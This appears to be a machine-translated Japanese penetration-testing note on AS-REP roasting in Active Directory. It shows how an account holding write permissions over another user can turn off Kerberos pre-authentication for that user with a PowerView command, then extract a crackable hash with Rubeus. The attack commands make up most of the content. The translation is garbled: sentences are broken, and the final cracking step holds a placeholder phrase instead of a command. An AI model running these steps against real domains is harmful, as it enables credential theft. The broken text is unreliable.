> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md). # ACL経由でAS-REP脆弱性を有効化する ACL経由でAS-REP脆弱性を有効化するためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。 ### 原則場合によっては、ユーザーにはその `Kerberos事前認証を不要にする` オプション。しかし、このユーザーに書き込み権限がある場合、たとえば次のような権限があれば: ```bash GenericAll GenericWrite WriteAllProperties ``` その属性を変更できます `userAccountControl`.

### 〜の例 `astrid.niki` ユーザー `user1` は次に対する書き込み権限を持っています: ```bash astrid.niki ``` 次に、 `DONT_REQ_PREAUTH` オプションをPowerViewで有効化します: {% code overflow="wrap" %} ```powershell Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304} ``` {% endcode %}

### AS-REP Roastingを再開変更後、ユーザーが結果に表示されます: {% code overflow="wrap" %} ```powershell .\Rubeus.exe asreproast /format:john /outfile:hash.john ``` {% endcode %}

次に、ハッシュをクラックします: {% code overflow="wrap" %} ```bash john形式のハッシュ ``` {% endcode %}

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